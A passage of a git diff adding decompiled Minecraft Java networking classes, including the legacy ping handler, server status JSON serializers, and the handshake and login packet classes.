+    boolean var4 = true;
+    
+
+
+    try
+    {
+      if (var3.readUnsignedByte() != 254)
+      {
+        return;
+      }
+      
+      InetSocketAddress var5 = (InetSocketAddress)p_channelRead_1_.channel().remoteAddress();
+      MinecraftServer var6 = networkSystem.getServer();
+      int var7 = var3.readableBytes();
+      
+
+      switch (var7)
+      {
+      case 0: 
+        logger.debug("Ping: (<1.3.x) from {}:{}", new Object[] { var5.getAddress(), Integer.valueOf(var5.getPort()) });
+        String var8 = String.format("%s§%d§%d", new Object[] { var6.getMOTD(), Integer.valueOf(var6.getCurrentPlayerCount()), Integer.valueOf(var6.getMaxPlayers()) });
+        writeAndFlush(p_channelRead_1_, getStringBuffer(var8));
+        break;
+      
+      case 1: 
+        if (var3.readUnsignedByte() != 1)
+        {
+          return;
+        }
+        
+        logger.debug("Ping: (1.4-1.5.x) from {}:{}", new Object[] { var5.getAddress(), Integer.valueOf(var5.getPort()) });
+        String var8 = String.format("§1\000%d\000%s\000%s\000%d\000%d", new Object[] { Integer.valueOf(127), var6.getMinecraftVersion(), var6.getMOTD(), Integer.valueOf(var6.getCurrentPlayerCount()), Integer.valueOf(var6.getMaxPlayers()) });
+        writeAndFlush(p_channelRead_1_, getStringBuffer(var8));
+        break;
+      
+      default: 
+        boolean var23 = var3.readUnsignedByte() == 1;
+        var23 &= var3.readUnsignedByte() == 250;
+        var23 &= "MC|PingHost".equals(new String(var3.readBytes(var3.readShort() * 2).array(), com.google.common.base.Charsets.UTF_16BE));
+        int var9 = var3.readUnsignedShort();
+        var23 &= var3.readUnsignedByte() >= 73;
+        var23 &= 3 + var3.readBytes(var3.readShort() * 2).array().length + 4 == var9;
+        var23 &= var3.readInt() <= 65535;
+        var23 &= var3.readableBytes() == 0;
+        
+        if (!var23)
+        {
+          return;
+        }
+        
+        logger.debug("Ping: (1.6) from {}:{}", new Object[] { var5.getAddress(), Integer.valueOf(var5.getPort()) });
+        String var10 = String.format("§1\000%d\000%s\000%s\000%d\000%d", new Object[] { Integer.valueOf(127), var6.getMinecraftVersion(), var6.getMOTD(), Integer.valueOf(var6.getCurrentPlayerCount()), Integer.valueOf(var6.getMaxPlayers()) });
+        ByteBuf var11 = getStringBuffer(var10);
+        
+        try
+        {
+          writeAndFlush(p_channelRead_1_, var11);
+        }
+        finally
+        {
+          var11.release();
+        }
+      }
+      
+      var3.release();
+      var4 = false;
+
+
+
+    }
+    catch (RuntimeException localRuntimeException) {}finally
+    {
+
+
+      if (var4)
+      {
+        var3.resetReaderIndex();
+        p_channelRead_1_.channel().pipeline().remove("legacy_query");
+        p_channelRead_1_.fireChannelRead(p_channelRead_2_);
+      }
+    }
+    if (var4)
+    {
+      var3.resetReaderIndex();
+      p_channelRead_1_.channel().pipeline().remove("legacy_query");
+      p_channelRead_1_.fireChannelRead(p_channelRead_2_);
+    }
+  }
+  
+
+  private void writeAndFlush(ChannelHandlerContext ctx, ByteBuf data)
+  {
+    ctx.pipeline().firstContext().writeAndFlush(data).addListener(ChannelFutureListener.CLOSE);
+  }
+  
+  private ByteBuf getStringBuffer(String string)
+  {
+    ByteBuf var2 = io.netty.buffer.Unpooled.buffer();
+    var2.writeByte(255);
+    char[] var3 = string.toCharArray();
+    var2.writeShort(var3.length);
+    char[] var4 = var3;
+    int var5 = var3.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      char var7 = var4[var6];
+      var2.writeChar(var7);
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/ServerStatusResponse.java b/src/minecraft/net/minecraft/network/ServerStatusResponse.java
new file mode 100644
index 0000000..fd83485
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/ServerStatusResponse.java
@@ -0,0 +1,286 @@
+package net.minecraft.network;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonSerializationContext;
+import com.google.gson.JsonSerializer;
+import com.mojang.authlib.GameProfile;
+import java.lang.reflect.Type;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.JsonUtils;
+
+public class ServerStatusResponse
+{
+  private IChatComponent serverMotd;
+  private PlayerCountData playerCount;
+  private MinecraftProtocolVersionIdentifier protocolVersion;
+  private String favicon;
+  private static final String __OBFID = "CL_00001385";
+  
+  public ServerStatusResponse() {}
+  
+  public IChatComponent getServerDescription()
+  {
+    return serverMotd;
+  }
+  
+  public void setServerDescription(IChatComponent motd)
+  {
+    serverMotd = motd;
+  }
+  
+  public PlayerCountData getPlayerCountData()
+  {
+    return playerCount;
+  }
+  
+  public void setPlayerCountData(PlayerCountData countData)
+  {
+    playerCount = countData;
+  }
+  
+  public MinecraftProtocolVersionIdentifier getProtocolVersionInfo()
+  {
+    return protocolVersion;
+  }
+  
+  public void setProtocolVersionInfo(MinecraftProtocolVersionIdentifier protocolVersionData)
+  {
+    protocolVersion = protocolVersionData;
+  }
+  
+  public void setFavicon(String faviconBlob)
+  {
+    favicon = faviconBlob;
+  }
+  
+  public String getFavicon()
+  {
+    return favicon;
+  }
+  
+  public static class MinecraftProtocolVersionIdentifier
+  {
+    private final String name;
+    private final int protocol;
+    private static final String __OBFID = "CL_00001389";
+    
+    public MinecraftProtocolVersionIdentifier(String nameIn, int protocolIn)
+    {
+      name = nameIn;
+      protocol = protocolIn;
+    }
+    
+    public String getName()
+    {
+      return name;
+    }
+    
+    public int getProtocol()
+    {
+      return protocol;
+    }
+    
+    public static class Serializer implements com.google.gson.JsonDeserializer, JsonSerializer {
+      private static final String __OBFID = "CL_00001390";
+      
+      public Serializer() {}
+      
+      public ServerStatusResponse.MinecraftProtocolVersionIdentifier deserialize1(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_) {
+        JsonObject var4 = JsonUtils.getElementAsJsonObject(p_deserialize_1_, "version");
+        return new ServerStatusResponse.MinecraftProtocolVersionIdentifier(JsonUtils.getJsonObjectStringFieldValue(var4, "name"), JsonUtils.getJsonObjectIntegerFieldValue(var4, "protocol"));
+      }
+      
+      public JsonElement serialize(ServerStatusResponse.MinecraftProtocolVersionIdentifier p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+      {
+        JsonObject var4 = new JsonObject();
+        var4.addProperty("name", p_serialize_1_.getName());
+        var4.addProperty("protocol", Integer.valueOf(p_serialize_1_.getProtocol()));
+        return var4;
+      }
+      
+      public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+      {
+        return serialize((ServerStatusResponse.MinecraftProtocolVersionIdentifier)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+      }
+      
+      public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+      {
+        return deserialize1(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+      }
+    }
+  }
+  
+  public static class PlayerCountData
+  {
+    private final int maxPlayers;
+    private final int onlinePlayerCount;
+    private GameProfile[] players;
+    private static final String __OBFID = "CL_00001386";
+    
+    public PlayerCountData(int p_i45274_1_, int p_i45274_2_)
+    {
+      maxPlayers = p_i45274_1_;
+      onlinePlayerCount = p_i45274_2_;
+    }
+    
+    public int getMaxPlayers()
+    {
+      return maxPlayers;
+    }
+    
+    public int getOnlinePlayerCount()
+    {
+      return onlinePlayerCount;
+    }
+    
+    public GameProfile[] getPlayers()
+    {
+      return players;
+    }
+    
+    public void setPlayers(GameProfile[] playersIn)
+    {
+      players = playersIn;
+    }
+    
+    public static class Serializer implements com.google.gson.JsonDeserializer, JsonSerializer {
+      private static final String __OBFID = "CL_00001387";
+      
+      public Serializer() {}
+      
+      public ServerStatusResponse.PlayerCountData deserialize1(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_) {
+        JsonObject var4 = JsonUtils.getElementAsJsonObject(p_deserialize_1_, "players");
+        ServerStatusResponse.PlayerCountData var5 = new ServerStatusResponse.PlayerCountData(JsonUtils.getJsonObjectIntegerFieldValue(var4, "max"), JsonUtils.getJsonObjectIntegerFieldValue(var4, "online"));
+        
+        if (JsonUtils.jsonObjectFieldTypeIsArray(var4, "sample"))
+        {
+          JsonArray var6 = JsonUtils.getJsonObjectJsonArrayField(var4, "sample");
+          
+          if (var6.size() > 0)
+          {
+            GameProfile[] var7 = new GameProfile[var6.size()];
+            
+            for (int var8 = 0; var8 < var7.length; var8++)
+            {
+              JsonObject var9 = JsonUtils.getElementAsJsonObject(var6.get(var8), "player[" + var8 + "]");
+              String var10 = JsonUtils.getJsonObjectStringFieldValue(var9, "id");
+              var7[var8] = new GameProfile(java.util.UUID.fromString(var10), JsonUtils.getJsonObjectStringFieldValue(var9, "name"));
+            }
+            
+            var5.setPlayers(var7);
+          }
+        }
+        
+        return var5;
+      }
+      
+      public JsonElement serialize(ServerStatusResponse.PlayerCountData p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+      {
+        JsonObject var4 = new JsonObject();
+        var4.addProperty("max", Integer.valueOf(p_serialize_1_.getMaxPlayers()));
+        var4.addProperty("online", Integer.valueOf(p_serialize_1_.getOnlinePlayerCount()));
+        
+        if ((p_serialize_1_.getPlayers() != null) && (p_serialize_1_.getPlayers().length > 0))
+        {
+          JsonArray var5 = new JsonArray();
+          
+          for (int var6 = 0; var6 < p_serialize_1_.getPlayers().length; var6++)
+          {
+            JsonObject var7 = new JsonObject();
+            java.util.UUID var8 = p_serialize_1_.getPlayers()[var6].getId();
+            var7.addProperty("id", var8 == null ? "" : var8.toString());
+            var7.addProperty("name", p_serialize_1_.getPlayers()[var6].getName());
+            var5.add(var7);
+          }
+          
+          var4.add("sample", var5);
+        }
+        
+        return var4;
+      }
+      
+      public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+      {
+        return serialize((ServerStatusResponse.PlayerCountData)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+      }
+      
+      public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+      {
+        return deserialize1(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+      }
+    }
+  }
+  
+  public static class Serializer implements com.google.gson.JsonDeserializer, JsonSerializer {
+    private static final String __OBFID = "CL_00001388";
+    
+    public Serializer() {}
+    
+    public ServerStatusResponse deserialize1(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_) {
+      JsonObject var4 = JsonUtils.getElementAsJsonObject(p_deserialize_1_, "status");
+      ServerStatusResponse var5 = new ServerStatusResponse();
+      
+      if (var4.has("description"))
+      {
+        var5.setServerDescription((IChatComponent)p_deserialize_3_.deserialize(var4.get("description"), IChatComponent.class));
+      }
+      
+      if (var4.has("players"))
+      {
+        var5.setPlayerCountData((ServerStatusResponse.PlayerCountData)p_deserialize_3_.deserialize(var4.get("players"), ServerStatusResponse.PlayerCountData.class));
+      }
+      
+      if (var4.has("version"))
+      {
+        var5.setProtocolVersionInfo((ServerStatusResponse.MinecraftProtocolVersionIdentifier)p_deserialize_3_.deserialize(var4.get("version"), ServerStatusResponse.MinecraftProtocolVersionIdentifier.class));
+      }
+      
+      if (var4.has("favicon"))
+      {
+        var5.setFavicon(JsonUtils.getJsonObjectStringFieldValue(var4, "favicon"));
+      }
+      
+      return var5;
+    }
+    
+    public JsonElement serialize(ServerStatusResponse p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      JsonObject var4 = new JsonObject();
+      
+      if (p_serialize_1_.getServerDescription() != null)
+      {
+        var4.add("description", p_serialize_3_.serialize(p_serialize_1_.getServerDescription()));
+      }
+      
+      if (p_serialize_1_.getPlayerCountData() != null)
+      {
+        var4.add("players", p_serialize_3_.serialize(p_serialize_1_.getPlayerCountData()));
+      }
+      
+      if (p_serialize_1_.getProtocolVersionInfo() != null)
+      {
+        var4.add("version", p_serialize_3_.serialize(p_serialize_1_.getProtocolVersionInfo()));
+      }
+      
+      if (p_serialize_1_.getFavicon() != null)
+      {
+        var4.addProperty("favicon", p_serialize_1_.getFavicon());
+      }
+      
+      return var4;
+    }
+    
+    public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      return serialize((ServerStatusResponse)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return deserialize1(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/ThreadQuickExitException.java b/src/minecraft/net/minecraft/network/ThreadQuickExitException.java
new file mode 100644
index 0000000..48128ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/ThreadQuickExitException.java
@@ -0,0 +1,18 @@
+package net.minecraft.network;
+
+public final class ThreadQuickExitException extends RuntimeException
+{
+  public static final ThreadQuickExitException field_179886_a = new ThreadQuickExitException();
+  private static final String __OBFID = "CL_00002274";
+  
+  private ThreadQuickExitException()
+  {
+    setStackTrace(new StackTraceElement[0]);
+  }
+  
+  public synchronized Throwable fillInStackTrace()
+  {
+    setStackTrace(new StackTraceElement[0]);
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/handshake/INetHandlerHandshakeServer.java b/src/minecraft/net/minecraft/network/handshake/INetHandlerHandshakeServer.java
new file mode 100644
index 0000000..ebd4712
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/handshake/INetHandlerHandshakeServer.java
@@ -0,0 +1,10 @@
+package net.minecraft.network.handshake;
+
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.handshake.client.C00Handshake;
+
+public abstract interface INetHandlerHandshakeServer
+  extends INetHandler
+{
+  public abstract void processHandshake(C00Handshake paramC00Handshake);
+}
diff --git a/src/minecraft/net/minecraft/network/handshake/client/C00Handshake.java b/src/minecraft/net/minecraft/network/handshake/client/C00Handshake.java
new file mode 100644
index 0000000..56520e0
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/handshake/client/C00Handshake.java
@@ -0,0 +1,72 @@
+package net.minecraft.network.handshake.client;
+
+import java.io.IOException;
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.handshake.INetHandlerHandshakeServer;
+
+public class C00Handshake implements Packet
+{
+  private int protocolVersion;
+  private String ip;
+  private int port;
+  private EnumConnectionState requestedState;
+  private static final String __OBFID = "CL_00001372";
+  
+  public C00Handshake() {}
+  
+  public C00Handshake(int p_i45266_1_, String p_i45266_2_, int p_i45266_3_, EnumConnectionState p_i45266_4_)
+  {
+    protocolVersion = p_i45266_1_;
+    ip = p_i45266_2_;
+    port = p_i45266_3_;
+    requestedState = p_i45266_4_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    protocolVersion = data.readVarIntFromBuffer();
+    ip = data.readStringFromBuffer(255);
+    port = data.readUnsignedShort();
+    requestedState = EnumConnectionState.getById(data.readVarIntFromBuffer());
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(protocolVersion);
+    data.writeString(ip);
+    data.writeShort(port);
+    data.writeVarIntToBuffer(requestedState.getId());
+  }
+  
+  public void func_180770_a(INetHandlerHandshakeServer p_180770_1_)
+  {
+    p_180770_1_.processHandshake(this);
+  }
+  
+  public EnumConnectionState getRequestedState()
+  {
+    return requestedState;
+  }
+  
+  public int getProtocolVersion()
+  {
+    return protocolVersion;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180770_a((INetHandlerHandshakeServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/login/INetHandlerLoginClient.java b/src/minecraft/net/minecraft/network/login/INetHandlerLoginClient.java
new file mode 100644
index 0000000..d3eb50b
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/INetHandlerLoginClient.java
@@ -0,0 +1,19 @@
+package net.minecraft.network.login;
+
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.login.server.S00PacketDisconnect;
+import net.minecraft.network.login.server.S01PacketEncryptionRequest;
+import net.minecraft.network.login.server.S02PacketLoginSuccess;
+import net.minecraft.network.login.server.S03PacketEnableCompression;
+
+public abstract interface INetHandlerLoginClient
+  extends INetHandler
+{
+  public abstract void handleEncryptionRequest(S01PacketEncryptionRequest paramS01PacketEncryptionRequest);
+  
+  public abstract void handleLoginSuccess(S02PacketLoginSuccess paramS02PacketLoginSuccess);
+  
+  public abstract void handleDisconnect(S00PacketDisconnect paramS00PacketDisconnect);
+  
+  public abstract void func_180464_a(S03PacketEnableCompression paramS03PacketEnableCompression);
+}
diff --git a/src/minecraft/net/minecraft/network/login/INetHandlerLoginServer.java b/src/minecraft/net/minecraft/network/login/INetHandlerLoginServer.java
new file mode 100644
index 0000000..617f28f
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/INetHandlerLoginServer.java
@@ -0,0 +1,13 @@
+package net.minecraft.network.login;
+
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.login.client.C00PacketLoginStart;
+import net.minecraft.network.login.client.C01PacketEncryptionResponse;
+
+public abstract interface INetHandlerLoginServer
+  extends INetHandler
+{
+  public abstract void processLoginStart(C00PacketLoginStart paramC00PacketLoginStart);
+  
+  public abstract void processEncryptionResponse(C01PacketEncryptionResponse paramC01PacketEncryptionResponse);
+}
diff --git a/src/minecraft/net/minecraft/network/login/client/C00PacketLoginStart.java b/src/minecraft/net/minecraft/network/login/client/C00PacketLoginStart.java
new file mode 100644
index 0000000..95a5f80
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/client/C00PacketLoginStart.java
@@ -0,0 +1,56 @@
+package net.minecraft.network.login.client;
+
+import com.mojang.authlib.GameProfile;
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.login.INetHandlerLoginServer;
+
+public class C00PacketLoginStart
+  implements Packet
+{
+  private GameProfile profile;
+  private static final String __OBFID = "CL_00001379";
+  
+  public C00PacketLoginStart() {}
+  
+  public C00PacketLoginStart(GameProfile profileIn)
+  {
+    profile = profileIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    profile = new GameProfile(null, data.readStringFromBuffer(16));
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(profile.getName());
+  }
+  
+  public void func_180773_a(INetHandlerLoginServer p_180773_1_)
+  {
+    p_180773_1_.processLoginStart(this);
+  }
+  
+  public GameProfile getProfile()
+  {
+    return profile;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180773_a((INetHandlerLoginServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/login/client/C01PacketEncryptionResponse.java b/src/minecraft/net/minecraft/network/login/client/C01PacketEncryptionResponse.java
new file mode 100644
index 0000000..2086124
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/client/C01PacketEncryptionResponse.java
@@ -0,0 +1,70 @@
+package net.minecraft.network.login.client;
+
+import java.io.IOException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import javax.crypto.SecretKey;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.login.INetHandlerLoginServer;
+import net.minecraft.util.CryptManager;
+
+public class C01PacketEncryptionResponse implements Packet
+{
+  private byte[] field_149302_a = new byte[0];
+  private byte[] field_149301_b = new byte[0];
+  private static final String __OBFID = "CL_00001380";
+  
+  public C01PacketEncryptionResponse() {}
+  
+  public C01PacketEncryptionResponse(SecretKey p_i45271_1_, PublicKey p_i45271_2_, byte[] p_i45271_3_)
+  {
+    field_149302_a = CryptManager.encryptData(p_i45271_2_, p_i45271_1_.getEncoded());
+    field_149301_b = CryptManager.encryptData(p_i45271_2_, p_i45271_3_);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149302_a = data.readByteArray();
+    field_149301_b = data.readByteArray();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByteArray(field_149302_a);
+    data.writeByteArray(field_149301_b);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerLoginServer handler)
+  {
+    handler.processEncryptionResponse(this);
+  }
+  
+  public SecretKey func_149300_a(PrivateKey key)
+  {
+    return CryptManager.decryptSharedKey(key, field_149302_a);
+  }
+  
+  public byte[] func_149299_b(PrivateKey p_149299_1_)
+  {
+    return p_149299_1_ == null ? field_149301_b : CryptManager.decryptData(p_149299_1_, field_149301_b);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerLoginServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/login/server/S00PacketDisconnect.java b/src/minecraft/net/minecraft/network/login/server/S00PacketDisconnect.java
new file mode 100644
index 0000000..1f8e780
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/server/S00PacketDisconnect.java
@@ -0,0 +1,55 @@
+package net.minecraft.network.login.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.login.INetHandlerLoginClient;
+import net.minecraft.util.IChatComponent;
+
+public class S00PacketDisconnect implements Packet
+{
+  private IChatComponent reason;
+  private static final String __OBFID = "CL_00001377";
+  
+  public S00PacketDisconnect() {}
+  
+  public S00PacketDisconnect(IChatComponent reasonIn)
+  {
+    reason = reasonIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    reason = data.readChatComponent();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeChatComponent(reason);
+  }
+  
+  public void func_180772_a(INetHandlerLoginClient p_180772_1_)
+  {
+    p_180772_1_.handleDisconnect(this);
+  }
+  
+  public IChatComponent func_149603_c()
+  {
+    return reason;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180772_a((INetHandlerLoginClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/login/server/S01PacketEncryptionRequest.java b/src/minecraft/net/minecraft/network/login/server/S01PacketEncryptionRequest.java
new file mode 100644
index 0000000..fe6c58a
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/server/S01PacketEncryptionRequest.java
@@ -0,0 +1,77 @@
+package net.minecraft.network.login.server;
+
+import java.io.IOException;
+import java.security.PublicKey;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.login.INetHandlerLoginClient;
+import net.minecraft.util.CryptManager;
+
+public class S01PacketEncryptionRequest implements Packet
+{
+  private String hashedServerId;
+  private PublicKey publicKey;
+  private byte[] field_149611_c;
+  private static final String __OBFID = "CL_00001376";
+  
+  public S01PacketEncryptionRequest() {}
+  
+  public S01PacketEncryptionRequest(String serverId, PublicKey key, byte[] p_i45268_3_)
+  {
+    hashedServerId = serverId;
+    publicKey = key;
+    field_149611_c = p_i45268_3_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    hashedServerId = data.readStringFromBuffer(20);
+    publicKey = CryptManager.decodePublicKey(data.readByteArray());
+    field_149611_c = data.readByteArray();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(hashedServerId);
+    data.writeByteArray(publicKey.getEncoded());
+    data.writeByteArray(field_149611_c);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerLoginClient handler)
+  {
+    handler.handleEncryptionRequest(this);
+  }
+  
+  public String func_149609_c()
+  {
+    return hashedServerId;
+  }
+  
+  public PublicKey func_149608_d()
+  {
+    return publicKey;
+  }
+  
+  public byte[] func_149607_e()
+  {
+    return field_149611_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerLoginClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/login/server/S02PacketLoginSuccess.java b/src/minecraft/net/minecraft/network/login/server/S02PacketLoginSuccess.java
new file mode 100644
index 0000000..4f7ca36
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/server/S02PacketLoginSuccess.java
@@ -0,0 +1,61 @@
+package net.minecraft.network.login.server;
+
+import com.mojang.authlib.GameProfile;
+import java.io.IOException;
+import java.util.UUID;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.login.INetHandlerLoginClient;
+
+public class S02PacketLoginSuccess implements Packet
+{
+  private GameProfile profile;
+  private static final String __OBFID = "CL_00001375";
+  
+  public S02PacketLoginSuccess() {}
+  
+  public S02PacketLoginSuccess(GameProfile profileIn)
+  {
+    profile = profileIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    String var2 = data.readStringFromBuffer(36);
+    String var3 = data.readStringFromBuffer(16);
+    UUID var4 = UUID.fromString(var2);
+    profile = new GameProfile(var4, var3);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    UUID var2 = profile.getId();
+    data.writeString(var2 == null ? "" : var2.toString());
+    data.writeString(profile.getName());
+  }
+  
+  public void func_180771_a(INetHandlerLoginClient p_180771_1_)
+  {
+    p_180771_1_.handleLoginSuccess(this);
+  }
+  
+  public GameProfile func_179730_a()
+  {
+    return profile;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180771_a((INetHandlerLoginClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/login/server/S03PacketEnableCompression.java b/src/minecraft/net/minecraft/network/login/server/S03PacketEnableCompression.java
new file mode 100644
index 0000000..5782d42
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/login/server/S03PacketEnableCompression.java
@@ -0,0 +1,54 @@
+package net.minecraft.network.login.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.login.INetHandlerLoginClient;
+
+public class S03PacketEnableCompression implements Packet
+{
+  private int field_179733_a;
+  private static final String __OBFID = "CL_00002279";
+  
+  public S03PacketEnableCompression() {}
+  
+  public S03PacketEnableCompression(int p_i45929_1_)
+  {
+    field_179733_a = p_i45929_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179733_a = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_179733_a);
+  }
+  
+  public void func_179732_a(INetHandlerLoginClient p_179732_1_)
+  {
+    p_179732_1_.func_180464_a(this);
+  }
+  
+  public int func_179731_a()
+  {
+    return field_179733_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179732_a((INetHandlerLoginClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/INetHandlerPlayClient.java b/src/minecraft/net/minecraft/network/play/INetHandlerPlayClient.java
new file mode 100644
index 0000000..53e93e6
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/INetHandlerPlayClient.java
@@ -0,0 +1,220 @@
+package net.minecraft.network.play;
+
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.play.server.S00PacketKeepAlive;
+import net.minecraft.network.play.server.S01PacketJoinGame;
+import net.minecraft.network.play.server.S02PacketChat;
+import net.minecraft.network.play.server.S03PacketTimeUpdate;
+import net.minecraft.network.play.server.S04PacketEntityEquipment;
+import net.minecraft.network.play.server.S05PacketSpawnPosition;
+import net.minecraft.network.play.server.S06PacketUpdateHealth;
+import net.minecraft.network.play.server.S07PacketRespawn;
+import net.minecraft.network.play.server.S08PacketPlayerPosLook;
+import net.minecraft.network.play.server.S09PacketHeldItemChange;
+import net.minecraft.network.play.server.S0APacketUseBed;
+import net.minecraft.network.play.server.S0BPacketAnimation;
+import net.minecraft.network.play.server.S0CPacketSpawnPlayer;
+import net.minecraft.network.play.server.S0DPacketCollectItem;
+import net.minecraft.network.play.server.S0EPacketSpawnObject;
+import net.minecraft.network.play.server.S0FPacketSpawnMob;
+import net.minecraft.network.play.server.S10PacketSpawnPainting;
+import net.minecraft.network.play.server.S11PacketSpawnExperienceOrb;
+import net.minecraft.network.play.server.S12PacketEntityVelocity;
+import net.minecraft.network.play.server.S13PacketDestroyEntities;
+import net.minecraft.network.play.server.S14PacketEntity;
+import net.minecraft.network.play.server.S18PacketEntityTeleport;
+import net.minecraft.network.play.server.S19PacketEntityHeadLook;
+import net.minecraft.network.play.server.S19PacketEntityStatus;
+import net.minecraft.network.play.server.S1BPacketEntityAttach;
+import net.minecraft.network.play.server.S1CPacketEntityMetadata;
+import net.minecraft.network.play.server.S1DPacketEntityEffect;
+import net.minecraft.network.play.server.S1EPacketRemoveEntityEffect;
+import net.minecraft.network.play.server.S1FPacketSetExperience;
+import net.minecraft.network.play.server.S20PacketEntityProperties;
+import net.minecraft.network.play.server.S21PacketChunkData;
+import net.minecraft.network.play.server.S22PacketMultiBlockChange;
+import net.minecraft.network.play.server.S23PacketBlockChange;
+import net.minecraft.network.play.server.S24PacketBlockAction;
+import net.minecraft.network.play.server.S25PacketBlockBreakAnim;
